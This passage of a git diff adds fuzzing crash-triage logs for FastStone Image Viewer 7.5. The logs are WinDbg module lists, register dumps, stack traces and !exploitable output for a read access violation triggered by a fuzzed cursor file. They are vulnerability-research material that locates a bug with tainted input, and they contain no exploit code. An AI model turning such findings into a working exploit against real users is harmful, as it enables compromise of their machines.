C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(c54.8ec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f60002 ebx=00000e1e ecx=07f18180 edx=000005a6 esi=12838ad0 edi=0da96fd4 +eip=005bdfc9 esp=14f5f868 ebp=14f5fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.488767499434134800000e+0017 st5= 8.488769217421053440000e+0017 +st6= 2.539999999999999999970e+0000 st7= 5.347487600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f5fd10 0060d6fc 00000000 14f5fd78 14f5fd48 image00000000_00400000+0x1bdfc9 +14f5fd88 005ff93f 14f5fde8 005ffbc2 14f5fde0 image00000000_00400000+0x20d6fc +14f5fde0 0090e28b 14f5fdf4 0090e3b5 14f5fe38 image00000000_00400000+0x1ff93f +14f5fe38 0090efea 14f5fea4 14f5fea8 14f5feac image00000000_00400000+0x50e28b +14f5fec0 008d05d5 14f5fed4 008d06ab 14f5ff00 image00000000_00400000+0x50efea +14f5ff00 008d0991 14f5ff14 008d0a43 14f5ff2c image00000000_00400000+0x4d05d5 +14f5ff2c 0042c0bf 14f5ff40 0042c0c9 14f5ff5c image00000000_00400000+0x4d0991 +14f5ff5c 00404c22 14f5ffcc 0040475c 14f5ff70 image00000000_00400000+0x2c0bf +14f5ff70 7572f989 0801bec0 7572f970 14f5ffdc image00000000_00400000+0x4c22 +14f5ff80 770b7084 0801bec0 92b9af7f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f5ffdc 770b7054 ffffffff 770d62a4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f5ffec 00000000 00404bf8 0801bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f60002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..cfd49ce --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC54: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC54: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(c54.8ec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f60002 ebx=00000e1e ecx=07f18180 edx=000005a6 esi=12838ad0 edi=0da96fd4 +eip=005bdfc9 esp=14f5f868 ebp=14f5fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.488767499434134800000e+0017 st5= 8.488769217421053440000e+0017 +st6= 2.539999999999999999970e+0000 st7= 5.347487600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f60002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f5fd10 0060d6fc 00000000 14f5fd78 14f5fd48 image00000000_00400000+0x1bdfc9 +14f5fd88 005ff93f 14f5fde8 005ffbc2 14f5fde0 image00000000_00400000+0x20d6fc +14f5fde0 0090e28b 14f5fdf4 0090e3b5 14f5fe38 image00000000_00400000+0x1ff93f +14f5fe38 0090efea 14f5fea4 14f5fea8 14f5feac image00000000_00400000+0x50e28b +14f5fec0 008d05d5 14f5fed4 008d06ab 14f5ff00 image00000000_00400000+0x50efea +14f5ff00 008d0991 14f5ff14 008d0a43 14f5ff2c image00000000_00400000+0x4d05d5 +14f5ff2c 0042c0bf 14f5ff40 0042c0c9 14f5ff5c image00000000_00400000+0x4d0991 +14f5ff5c 00404c22 14f5ffcc 0040475c 14f5ff70 image00000000_00400000+0x2c0bf +14f5ff70 7572f989 0801bec0 7572f970 14f5ffdc image00000000_00400000+0x4c22 +14f5ff80 770b7084 0801bec0 92b9af7f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f5ffdc 770b7054 ffffffff 770d62a4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f5ffec 00000000 00404bf8 0801bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f60002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fec6565 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/59510/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..dff9067 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000150c0002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..389ebad Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..d7c4036 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/66995/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F98: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F98: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll 